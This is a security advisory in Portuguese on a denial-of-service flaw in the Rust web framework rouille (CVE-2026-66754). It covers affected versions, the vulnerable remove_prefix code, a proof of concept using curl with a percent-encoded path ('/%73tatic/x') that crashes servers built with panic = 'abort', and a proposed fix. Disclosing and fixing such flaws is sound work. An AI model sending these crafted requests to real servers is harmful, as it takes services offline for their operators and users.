
Advisory de Segurança: Negação de Serviço Remota via Assertiva Atingível no Tratamento de Prefixo de URL (rouille)
ID de CVE atribuído: CVE-2026-66754
O Request::remove_prefix testa a URL com percent-decoding, mas faz a asserção na URL crua. Uma solicitação cujo caminho decodificado começa com o prefixo, mas cujo caminho cru não começa, passa no teste e falha na asserção. Basta codificar em percent um caractere do prefixo.
Em uma compilação padrão, o panic é capturado e vira um 500. Em uma compilação com panic = "abort", não há nada para capturá-lo, e um único GET não autenticado encerra o processo do servidor.
URL do repositório: https://github.com/tomaka/rouille
| Primeira versão afetada | 0.1.6 (2016-09-22), a versão que introduziu o remove_prefix |
| Última versão afetada | 3.6.2 (2023-04-24), a versão atual |
| Não afetada | 0.1.5 e anteriores, que não possuem remove_prefix |
| Corrigida em | nenhuma versão corrigida no momento da redação |
A função permanece inalterada em todas as versões desse intervalo e no master atual. Os aplicativos são afetados se chamarem Request::remove_prefix, que é o padrão que o rouille documenta para servir arquivos estáticos sob um prefixo de URL (src/assets.rs linhas 66 a 75, e src/lib.rs linhas 804 a 811).
CWE-617 (Asserção Atingível), levando a CWE-248 (Exceção Não Capturada).
Pontuação base CVSS 4.0 8.2 (Alta)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Um cliente remoto, não autenticado, que pode enviar uma solicitação GET. Sem credenciais e sem interação do usuário.
panic = "abort" não é o padrão do Cargo, mas é uma escolha comum de perfil de release para binários menores e menor overhead. O rouille depende de unwinding para disponibilidade, já que Server::process depende de panic::catch_unwind na src/lib.rs linha 602 para converter panics do handler em um 500. Essa dependência não é documentada.
rouille/src/lib.rs, linhas 813 a 822:
813 pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814 if !self.url().starts_with(prefix) {
815 return None;
816 }
817
818 // TODO: url-encoded characters in the prefix are not implemented
819 assert!(self.url.starts_with(prefix));
820 Some(Request {
821 method: self.method.clone(),
822 url: self.url[prefix.len()..].to_owned(),
A linha 814 chama self.url(), que faz percent-decoding. A linha 819 faz a asserção em self.url, o campo cru, e a linha 822 fatia esse mesmo campo cru. As duas representações discordam sempre que o caminho contém um escape percent dentro do prefixo:
Essa mesma incompatibilidade também significa que remove_prefix nunca roteia um caminho legitimamente percent-encoded, portanto o bug de corretude e o bug de disponibilidade compartilham a mesma correção.
Etapa 1. Inicie um servidor usando o padrão de prefixo documentado.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8003", |request| {
if let Some(r) = request.remove_prefix("/static") {
return rouille::match_assets(&r, ".");
}
Response::text("home")
});
}
Etapa 2. Envie uma solicitação benigna e uma solicitação equivalente com s percent-encoded. O --path-as-is impede que o curl normalize o caminho.
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
Resultado em uma compilação padrão. A primeira é um 404 normal para arquivo ausente; a segunda é um panic convertido em 500:
404
500
com isto no stderr:
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)
Etapa 3. Recompile o mesmo programa com abort-on-panic e repita a segunda solicitação.
[profile.release]
panic = "abort"
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
Resultado. O processo termina com SIGABRT (código de saída 134) e o servidor para de responder. Uma solicitação, sem autenticação, perda total de disponibilidade.
Em compilações com panic = "abort", uma única solicitação não autenticada derruba o servidor. Em compilações padrão, solicitações cujo caminho contém um escape percent dentro do prefixo retornam 500 em vez de serem atendidas, portanto o roteamento também está incorreto para clientes legítimos.
Observe que o panic não pode envenenar o mutex que Server::process faz unwrap fora de catch_unwind nas linhas 643 e 649 de src/lib.rs, porque remove_prefix apenas clona o Arc e nunca mantém um guard. Em compilações com unwinding, a thread de trabalho se recupera normalmente.
Faça a comparação e o fatiamento na mesma representação. A versão correta mais simples compara e fatia a URL crua:
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
if !self.url.starts_with(prefix) {
return None;
}
Some(Request {
url: self.url[prefix.len()..].to_owned(),
..
})
}
Se o comportamento de comparação decodificada for o desejado, decodifique a URL uma vez, remova o prefixo da string decodificada e re-codifique o restante em vez de fatiar o campo cru.
De qualquer forma, o assert! deve sair. Uma biblioteca não deve abortar o processo com entrada controlada pelo atacante. Documentar que o rouille exige panic = "unwind", ou remover a dependência de catch_unwind para a corretude, também ajudaria.
| URL crua | url() decodificada | Linha 814 | Linha 819 |
|---|
/static/x | /static/x | passa | passa |
/%73tatic/x | /static/x | passa | falha |
/stati%63/x | /static/x | passa | falha |